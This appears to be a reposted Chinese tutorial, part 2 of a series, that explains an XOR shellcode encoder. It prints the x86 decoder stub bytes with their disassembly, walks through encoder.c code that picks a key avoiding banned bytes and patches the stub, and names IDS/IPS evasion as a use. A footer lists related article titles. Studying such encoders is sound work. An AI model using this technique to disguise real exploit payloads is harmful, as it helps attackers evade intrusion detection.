shellcode xor编码/解码[2]
0x04 源码解读
下面以decoder_jump_header为例来说明解码部分
unsigned char decoder_jump_header[] = { 0xEB, 0x10, 0x5B, 0x31, 0xC9, 0x66, 0x81, 0xE9, 0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 0xFA, 0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF };
echo -ne "\xEB\x10\x5B\x31\xC9\x66\x81\xE9\xA1\xFE\x80\x33\x99\x43\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF" | ndisasm -u -00000000 EB10 jmp short 0x12 00000002 5B pop ebx 00000003 31C9 xor ecx,ecx 00000005 6681E9A1FE sub cx,0xfea1 0000000A 803399 xor byte [ebx],0x99 0000000D 43 inc ebx 0000000E E2FA loop 0xa 00000010 EB05 jmp short 0x17 00000012 E8EBFFFFFF call dword 0x2
这段就是decoder,也就是前文所说明的部分,然后会在这个解码器的后面放上真正的已经做过处理的shellcode
下面解读部分encoder.c的源代码
这个encoder.c通过xor来处理需要剔除的字节,原理很简单
下面的代码是寻找一个字节,使它与要剔除的字节异或后,产生的新的字节,不会出现在原本的shellcode中
这样做是为了防止原本的shellcode的字节异或后又生成要剔除的字节
/* Scan the shellcode for suitable encode byte */ for (i = 1; i < 255; i++) {/* Mark the candidate as found */ found = 1;/* Try out every byte in encode_bytes array */ for (j = 0; j < size; j++) {/* XOR candidate with encode_bytes */ try = i^encode_bytes[j];/* Now try every byte in shellcode */ for (k = 0; k < len; k++) {c = 0xff&filebuf[k];/* If match, mark the candidate "not found" */ if (c == try) { found = 0; break; } } } /* Break out if byte found */ if (found == 1) break; }
创建新的shellcode,截取jump传统方式的来解读一下
/* Create the new shellcode *//* jump/call decoder */if (decoder == DECODER_JUMP) { /* Copy 1st header */ memcpy(&shellbuf[0], decoder_jump_header, sizeof(decoder_jump_header)); //拷贝解码字节/* Copy the actual shellcode */ for (i = 0; i < len; i++) filebuf[i] = filebuf[i]^encode_byte; memcpy(&shellbuf[sizeof(decoder_jump_header)], filebuf, len); //拷贝经过xor处理后的实际shellcode/* High len byte: */ //处理字节数 shellbuf[9] = ((0x10000-len)>>8)&0xff;/* Low len byte: */ shellbuf[8] = (0x10000-len)&0xff; /* Adjust, if needed.. */ if (shellbuf[8] == 0) shellbuf[8]++;/* XOR byte */ shellbuf[12] = encode_byte; //将0x99修改为xor使用的字节/* Decoder register */ //使用不同寄存器的情况下,修改相应的字节,例如ebx的话第三个字节0x5b,第11个字节为0x33,第13个字节为0x43,这些在反汇编下很容易看出来 switch (reg) { case REG_EAX: shellbuf[2] = 0x58; shellbuf[11] = 0x30; shellbuf[13] = 0x40; break; case REG_EDX: shellbuf[2] = 0x5a; shellbuf[11] = 0x32; shellbuf[13] = 0x42; break; case REG_EBX: shellbuf[2] = 0x5b; shellbuf[11] = 0x33; shellbuf[13] = 0x43; break; } }
到此为此基本了解了这个编码解码器的原理。这是一种防止限制shellcode个别字符使用的,以及防止IDS/IPS检测等等的方法。
0x05 参考
http://www.klake.org/~jt/encoder/
http://blog.csdn.net/ych_max/article/details/815832
转载于:https://www.cnblogs.com/moonflow/archive/2012/05/24/2516789.html
shellcode xor编码/解码[2]相关推荐
- shellcode xor编码/解码[1]
shellcode的初级变形的一点点总结,大部分搜集.翻译,少量原创 0x01 病毒上重定位问题 0x02 shellcode解码 0x03 一个unix例子 0x04 源码解读 0x05 参考 sh ...
- python3字节转化字符_浅谈 Python3 中对二进制数据 XOR 编码的正确姿势
Python3 中的默认编码是 UTF-8,这给大家写 Python 代码带来了很大的便利,不用再像 Python2.x 那样为数据编码操碎了心.但是,由于全面转向 UTF-8 编码,Python3 ...
- HDMI_FPGA实现4K60TMDS编码解码之一
hdmi1.4 tmds编码解码原理 一个HDMI包括三个TMDS 数据通道和一个 TMDS 时钟通道(像素时钟),如图所示 每一个 TMDS 时钟周期内,TMDS 数据通道上会发送一个 10 位的字 ...
- python3 转码的函数_python基础3之文件操作、字符编码解码、函数介绍
内容概要: 一.文件操作 二.字符编码解码 三.函数介绍 一.文件操作 文件操作流程: 打开文件,得到文件句柄并赋值给一个变量 通过句柄对文件进行操作 关闭文件 基本操作: 1 #/usr/bin/e ...
- .NET编码解码(HtmlEncode与HtmlEncode)
原文:.NET编码解码(HtmlEncode与HtmlEncode) 编码代码: System.Web.HttpUtility.HtmlEncode("<a href=\"h ...
- js base64 编码解码
js base64 编码解码 encode decode,可以直接使用 function Base64() {// private property_keyStr = "ABCDEFGHIJ ...
- python使用base64编码解码数据
python使用base64编码解码数据 base64模块是用来作base64编码解码,常用于小型数据的传输.编码后的数据是一个字符串,其包括a-z.A-Z.0-9./.+共64个字符,即可用6个字节 ...
- python email模块详解_python模块之email: 电子邮件编码解码 (一、解码邮件)-阿里云开发者社区...
python自带的email模块是个很有意思的东西,它可以对邮件编码解码,用来处理邮件非常好用. 处理邮件是一个很细致的工作,尤其是解码邮件,因为它的格式变化太多了,下面先看看一个邮件的源文件: Re ...
- java url加密解密,java URL 编码解码,该如何解决
java URL 编码解码 我写了两个接口 一个是对字符串加密 的,一个是解密的 .加密的可以通过调用接口生成加密字符串如下: Oc0PEwKrLzHqT25hYLhWP5wlk5HROPJoWC3 ...
最新文章
- eplan怎么插入表格_EPLAN电气图实例控制柜(控制面板)
- struts2 中文乱码问题
- SPI及其工作原理浅析
- 关于字符串中函数的实现( C语言 )
- 计算机专业英语在线测试9,《计算机专业英语》第9章在线测试【DOC精选】.doc
- Java文件下载/下载文件的案例
- ocLazyLoad angular 按需加载
- Java通过反射访问构造方法
- Bootstrap简洁、直观、强悍的前端开发框架
- finedb(内置的HSQL数据库)迁移数据到MySQL
- 2021-2022学期计划
- 常见的一些SQL注入漏洞类型
- ensp VLAN划分
- 基于物联网的多传感器远程温度监测系统
- FlashFXP,flashfxp使用方法
- Goldendict 1.5.0 VS2015 Qt 5.7 源代码编译
- 设计模式1(策略模式)
- 有一分数序列: 2/1 3/2 5/3 8/5 13/8 21/13...... 求出这个数列的前N项之和,保留两位小数。
- 移动宽带安装说明一(刘欣)
- OpenStack 归档 - 虚拟机临时存储与块存储